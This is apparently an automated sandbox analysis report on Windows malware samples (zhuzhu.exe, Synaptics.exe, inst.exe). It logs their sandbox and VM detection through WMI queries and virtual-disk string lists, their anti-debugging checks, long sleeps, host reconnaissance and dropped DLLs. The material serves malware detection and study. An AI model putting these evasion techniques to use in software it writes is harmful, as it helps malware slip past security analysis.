Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Contains functionality to compare user and computer (likely to detect sandboxes)

Source: C:\Users\user\Downloads\inst.exe

Code function: _memset,GetUserNameW,__wcsicoll,_memset,GetModuleFileNameW,StrStrIW,

7_2_001B8A46

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\Downloads\inst.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : ASSOCIATORS OF {Win32_DiskPartition.DeviceID='Disk #0, Partition #1'} where ResultClass = Win32_DiskDrive
Source: C:\Users\user\Downloads\inst.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_DiskDriveToDiskPartition where Dependent="Win32_DiskPartition.DeviceID=\"Disk #0, Partition #1\""
Source: C:\Users\user\Downloads\inst.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : ASSOCIATORS OF {Win32_DiskPartition.DeviceID='Disk #0, Partition #1'} where ResultClass = Win32_DiskDrive
Source: C:\Users\user\Downloads\inst.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_DiskDriveToDiskPartition where Dependent="Win32_DiskPartition.DeviceID=\"Disk #0, Partition #1\""

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Source: C:\Users\user\Downloads\inst.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : ASSOCIATORS OF {Win32_LogicalDisk.DeviceID='C:'} where ResultClass = Win32_DiskPartition
Source: C:\Users\user\Downloads\inst.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_LogicalDiskToPartition where Dependent="Win32_LogicalDisk.DeviceID=\"C:\""
Source: C:\Users\user\Downloads\inst.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : ASSOCIATORS OF {Win32_LogicalDisk.DeviceID='C:'} where ResultClass = Win32_DiskPartition
Source: C:\Users\user\Downloads\inst.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : select * from Win32_LogicalDiskToPartition where Dependent="Win32_LogicalDisk.DeviceID=\"C:\""

Source: C:\Users\user\Downloads\inst.exe	Code function: _malloc,GetAdaptersInfo,_malloc,GetAdaptersInfo,	7_2_001A67A4
Source: C:\Users\user\Downloads\inst.exe	Code function: _malloc,GetAdaptersInfo,_malloc,GetAdaptersInfo,	7_2_001C88EB
Source: C:\Users\user\Downloads\inst.exe	Code function: GetProcessHeap,GetProcessHeap,HeapAlloc,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,__wcsicoll,StrStrIA,StrStrIA,StrStrIA,GetProcessHeap,GetProcessHeap,HeapFree,	7_2_00174BD0
Source: C:\Users\user\Downloads\inst.exe	Code function: GetAdaptersInfo,GetTickCount,_sprintf,	7_2_5F4EA873
Source: C:\Users\user\Downloads\inst.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	12_2_001A67A4
Source: C:\Users\user\Downloads\inst.exe	Code function: GetAdaptersInfo,GetAdaptersInfo,	12_2_001C88EB
Source: C:\Users\user\Downloads\inst.exe	Code function: GetProcessHeap,GetProcessHeap,HeapAlloc,HeapAlloc,GetAdaptersInfo,GetProcessHeap,HeapFree,GetProcessHeap,HeapAlloc,GetAdaptersInfo,__wcsicoll,StrStrIA,StrStrIA,StrStrIA,GetProcessHeap,GetProcessHeap,HeapFree,	12_2_00174BD0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Window / User API: threadDelayed 3833
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Window / User API: threadDelayed 3177
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Window / User API: threadDelayed 2030
Source: C:\Users\user\Downloads\inst.exe	Window / User API: threadDelayed 4046
Source: C:\Users\user\Downloads\inst.exe	Window / User API: threadDelayed 5897
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5263
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1287
Source: C:\Windows\splwow64.exe	Window / User API: threadDelayed 9872

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_1-10062

Source: C:\Users\user\Downloads\inst.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\sites.dll			Jump to dropped file
Source: C:\Users\user\Downloads\inst.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\{92EE34F9-CBF9-4899-A446-C0FD9C9E29A7}.tmp\360P2SP.dll			Jump to dropped file

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Evasive API call chain: RegQueryValue,DecisionNodes,Sleep			graph_4-43941
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep			graph_4-43939

Source: C:\Users\user\Downloads\inst.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,Sleep			graph_7-76695
Source: C:\Users\user\Downloads\inst.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\Downloads\inst.exe

API coverage: 0.7 %

Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 7312	Thread sleep time: -4380000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 5184	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe TID: 7432	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe TID: 3428	Thread sleep time: -3833000s >= -30000s
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe TID: 4412	Thread sleep time: -31770s >= -30000s
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe TID: 3428	Thread sleep time: -2030000s >= -30000s
Source: C:\Users\user\Downloads\inst.exe TID: 8012	Thread sleep time: -6069000s >= -30000s
Source: C:\Users\user\Downloads\inst.exe TID: 8012	Thread sleep time: -8845500s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7744	Thread sleep count: 5263 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7724	Thread sleep count: 1287 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep time: -3689348814741908s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7760	Thread sleep count: 43 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7672	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7764	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\Downloads\inst.exe

File opened: PhysicalDrive0

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Thread sleep count: Count: 3177 delay: -10

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\Windows\SysWOW64 FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\themes FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\themes FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\themes FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\themes FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\Downloads\inst.exe	File Volume queried: C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\themes FullSizeInformation

Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001BD71E FindFirstFileW,GetFullPathNameW,SetLastError,lstrlenW,_wcsrchr,_wcsrchr,	7_2_001BD71E
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001CD670 _memset,FindFirstFileW,FindNextFileW,FindClose,	7_2_001CD670
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_001C3FB0 PathFileExistsW,_wcslen,_memset,_memset,PathAppendW,PathAppendW,PathAppendW,FindFirstFileW,FindNextFileW,_memset,PathAppendW,PathAppendW,_memset,PathAppendW,PathAppendW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	7_2_001C3FB0
Source: C:\Users\user\Downloads\inst.exe	Code function: 7_2_5F52A6BA _wcspbrk,__getdrive,FindFirstFileW,_wcspbrk,__wfullpath_helper,_wcslen,GetDriveTypeW,___loctotime64_t,__wsopen_s,__fstat64i32,__close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	7_2_5F52A6BA
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001CD670 _memset,FindFirstFileW,FindNextFileW,FindClose,	12_2_001CD670
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001BD71E FindFirstFileW,GetFullPathNameW,SetLastError,lstrlenW,_wcsrchr,_wcsrchr,	12_2_001BD71E
Source: C:\Users\user\Downloads\inst.exe	Code function: 12_2_001C3FB0 PathFileExistsW,_wcslen,_memset,_memset,PathAppendW,PathAppendW,PathAppendW,FindFirstFileW,FindNextFileW,_memset,PathAppendW,PathAppendW,_memset,PathAppendW,PathAppendW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	12_2_001C3FB0

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Code function: 4_2_037780F0 wsprintfW,GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

4_2_037780F0

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Code function: 4_2_03775430 _memset,_memset,_memset,gethostname,gethostbyname,inet_ntoa,_strcat_s,_strcat_s,inet_ntoa,_strcat_s,_strcat_s,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,GetLastInputInfo,GetTickCount,wsprintfW,wsprintfW,MultiByteToWideChar,MultiByteToWideChar,GetSystemInfo,wsprintfW,GetForegroundWindow,GetWindowTextW,lstrlenW,lstrlenW,GetModuleHandleW,GetProcAddress,GetNativeSystemInfo,GetSystemInfo,wsprintfW,GetCurrentProcessId,OpenProcess,K32GetProcessImageFileNameW,CloseHandle,GetTickCount,__time64,__localtime64,wsprintfW,GetLocaleInfoW,GetSystemDirectoryW,GetCurrentHwProfileW,

4_2_03775430

Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Thread delayed: delay time: 30000
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000

Source: C:\Users\user\Desktop\zhuzhu.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\zhuzhu.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: zhuzhu.exe, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr	Binary or memory string: !Datacenter without Hyper-V (core)
Source: Amcache.hve.22.dr	Binary or memory string: VMware
Source: inst.exe, 0000000C.00000002.1778901612.000000000021E000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: vVIRTUAL SCSIVIRTUAL HDVIRTUAL DISKISCSIRED HAT VIRTIORAMDISKRAM-DISKRAM DISKRAID ARRAYRAID10RAID5RAID1XENSRC XEN VMWAREVBOX HARDDISKQEMU HARDDISKPROMISE 1+0MSFT VIRTUALMICROSOFTMARVELL RAIDLSILOGICLSI MR92LSI MEGALENOVO_RAIDINTEL RAIDIBM SERVERAIDDELL PERCAMD-RAID ARRAYADAPTECRAID0SOFTWARE\360Safe\softmgr\dioraidRAIDIM2S313BR240G BR128G BR120G BR60G 256GB 256GB 256G 256G 240GB 128GB 128GB 128G 128G 120GB 120G
Source: zhuzhu.exe, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr	Binary or memory string: without Hyper-V for WESS
Source: Amcache.hve.22.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.22.dr	Binary or memory string: vmci.syshbin
Source: zhuzhu.exe, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr	Binary or memory string: Datacenter without Hyper-V
Source: Amcache.hve.22.dr	Binary or memory string: VMware, Inc.
Source: zhuzhu.exe, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr	Binary or memory string: !Enterprise without Hyper-V (core)
Source: Amcache.hve.22.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.22.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.22.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.22.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: zhuzhu.exe, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr	Binary or memory string: Standard without Hyper-V
Source: ._cache_zhuzhu.exe, 00000001.00000003.1771155564.0000000000B08000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000003.1771155564.0000000000B57000.00000004.00000020.00020000.00000000.sdmp, ._cache_zhuzhu.exe, 00000001.00000002.1773595012.0000000000B26000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000002.00000002.2434252916.000000000062C000.00000004.00000020.00020000.00000000.sdmp, inst.exe, 00000007.00000002.4149076831.0000000000E7E000.00000004.00000020.00020000.00000000.sdmp, inst.exe, 00000007.00000003.1806696801.0000000000F52000.00000004.00000020.00020000.00000000.sdmp, inst.exe, 00000007.00000003.1807464472.0000000002DD1000.00000004.00000020.00020000.00000000.sdmp, inst.exe, 00000007.00000002.4149076831.0000000000F52000.00000004.00000020.00020000.00000000.sdmp, inst.exe, 00000007.00000002.4151548891.0000000002DE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.22.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Synaptics.exe, 00000002.00000002.2434252916.00000000005F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: zhuzhu.exe, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr	Binary or memory string: Enterprise without Hyper-V
Source: Amcache.hve.22.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: zhuzhu.exe, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr	Binary or memory string: HPC Edition without Hyper-V
Source: Amcache.hve.22.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.22.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ._cache_zhuzhu.exe, 00000004.00000002.4148926208.0000000000BA8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: zhuzhu.exe, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr	Binary or memory string: Hyper-V Server
Source: Amcache.hve.22.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.22.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.22.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.22.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: zhuzhu.exe, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr	Binary or memory string: Datacenter without Hyper-V (core)
Source: Amcache.hve.22.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.22.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.22.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.22.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.22.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.22.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.22.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.22.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.22.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: zhuzhu.exe, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr	Binary or memory string: Enterprise without Hyper-V (core)
Source: Amcache.hve.22.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.22.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.22.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: zhuzhu.exe, ._cache_zhuzhu.exe.1.dr, ._cache_zhuzhu.exe.0.dr, Synaptics.exe.0.dr	Binary or memory string: Standard without Hyper-V (core)
Source: Amcache.hve.22.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	API call chain: ExitProcess graph end node			graph_4-43509
Source: C:\Users\user\Downloads\inst.exe	API call chain: ExitProcess graph end node			graph_7-78452

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

Process queried: DebugPort

Jump to behavior

Source: C:\ProgramData\Synaptics\Synaptics.exe

Code function: 2_2_25ABFF09 LdrInitializeThunk,

2_2_25ABFF09

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe

Code function: 1_2_1001124D IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_1001124D

Source: C:\Users\user\Downloads\inst.exe

Code function: 7_2_00169CD0 GetCurrentThreadId,GetProcessHeap,OpenThread,OpenThread,GetLastError,GetProcessHeap,HeapFree,OutputDebugStringW,CloseHandle,

7_2_00169CD0

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Code function: 4_2_0378054D VirtualProtect ?,-00000001,00000104,?

4_2_0378054D

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe

Code function: 1_2_10001170 LoadLibraryW,GetProcAddress,GetProcAddress,GetModuleHandleA,RegisterClassW,CreateWindowExW,GetMessageW,TranslateMessage,DispatchMessageW,

1_2_10001170

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Code function: 1_2_02860AE4 mov eax, dword ptr fs:[00000030h]	1_2_02860AE4
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02BD0AE4 mov eax, dword ptr fs:[00000030h]	4_2_02BD0AE4
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_035F00CD mov eax, dword ptr fs:[00000030h]	4_2_035F00CD

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe

Code function: 4_2_03776790 wsprintfW,GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,LookupAccountSidW,GetLastError,GetProcessHeap,HeapFree,

4_2_03776790

Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Code function: 1_2_1001154A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_1001154A
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Code function: 1_2_1001124D IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_1001124D
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Code function: 1_2_02871521 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_02871521
Source: C:\Users\user\Desktop\._cache_zhuzhu.exe	Code function: 1_2_02871520 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_02871520
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0377DF10 Sleep,CloseHandle,GetLocalTime,wsprintfW,SetUnhandledExceptionFilter,CloseHandle,EnumWindows,EnumWindows,Sleep,EnumWindows,Sleep,CreateEventA,Sleep,RegOpenKeyExW,RegQueryValueExW,CloseHandle,Sleep,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,WaitForSingleObject,CloseHandle,Sleep,CloseHandle,	4_2_0377DF10
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_0377F00A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_0377F00A
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_03781F67 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_03781F67
Source: C:\Users\user\AppData\Roaming\._cache_zhuzhu.exe	Code function: 4_2_02C66815 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_02C66815
